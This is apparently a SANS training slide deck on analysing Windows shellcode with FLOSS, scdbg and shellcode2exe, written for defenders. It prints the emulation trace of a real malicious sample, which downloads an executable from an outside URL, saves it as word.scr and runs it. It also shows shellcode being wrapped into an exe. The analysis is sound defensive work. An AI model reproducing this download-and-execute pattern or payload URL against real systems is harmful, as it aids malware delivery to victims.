# Shellcode Analysis 101

Jim Clausing

jclausing@isc.sans.edu

jac@att.com

Twitter: @jclausing

# Me

- SANS instructor
- SANS ISC Handler
- Malware analyst and forensicator
- GSE #26
- Cyclist
- Private pilot

# Outline

- Background
- Approaches/Demos
- Q&A

# What is shellcode and why do we care?

- A blob of executable code – goal is to get the program to jump there and execute the attackers code
- First used by exploit developers, now seen more widely as a general malware stage
- We're going to focus on Windows, but concepts work in other operating systems

# What do we do with it?

- Static Properties
- Behavioral Analysis
  - Emulate execution
  - Execute it
- Code Analysis
  - Statically examine – I rarely do this
  - Debug it

# strings

```
jac@xubu64:~/git/VS_LIBEMU$ floss -s payment-out.bin
FLOSS static ASCII strings
8GetPu
rocAu
ddreu
Qh.scrhwordSRCharyAhLibrhLoadTS
YPQf
llQhon.dhurlmT
eAQ3
hoFilhoadThownlhURLDTP
T$$QQR
Z[SRChxeca
hWinETS
Z[hessa
ahProchExitTS
http://rtnlogistics.com/nestom22.exe

FLOSS static UTF-16 strings


FLOSS decoded 0 strings

FLOSS extracted 0 stackstrings

Finished execution after 0.000443 seconds
```

# scdbg

```
jac@xubu64:~/git/VS_LIBEMU$ wine scdbg -f payment-out.bin -r
Loaded 141 bytes from file payment-out.bin
Memory monitor enabled..
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40107e  GetProcAddress(LoadLibraryA)
401096  LoadLibraryA(urlmon.dll)
4010bf  GetProcAddress(URLDownloadToFileA)
4010cd  URLDownloadToFileA(http://rtnlogistics.com/nestom22.exe, word.scr)
4010e9  GetProcAddress(WinExec)
4010f2  WinExec(word.scr)
40110f  GetProcAddress(ExitProcess)
401111  ExitProcess(1953069125)

Stepcount 2182

Analysis report:
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x401008
        peb.InMemoryOrderModuleList accessed at 0x40100f
```

# shellcode2exe.bat

```
jac@xubu64:~/git/shellcode2exe$ wine cmd /c "shellcode2exe.bat 32 shellcode.malicious foo.exe"
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\home\jac\git\shellcode2exe

  6/4/2020   8:50 PM         1,536  foo.exe
       1 file                   1,536 bytes
       0 directories      8,649,629,696 bytes free
```

# Demos

# Questions?

# References

- https://isc.sans.edu/forums/diary/Stackstrings+type+2/26192/
- https://for610.com/floss
- https://for610.com/scdbg-download
- https://for610.com/shell2exebat
- https://for610.com/qiling

# Join me for FOR610 in July


- https://for610.com/sans-july-jac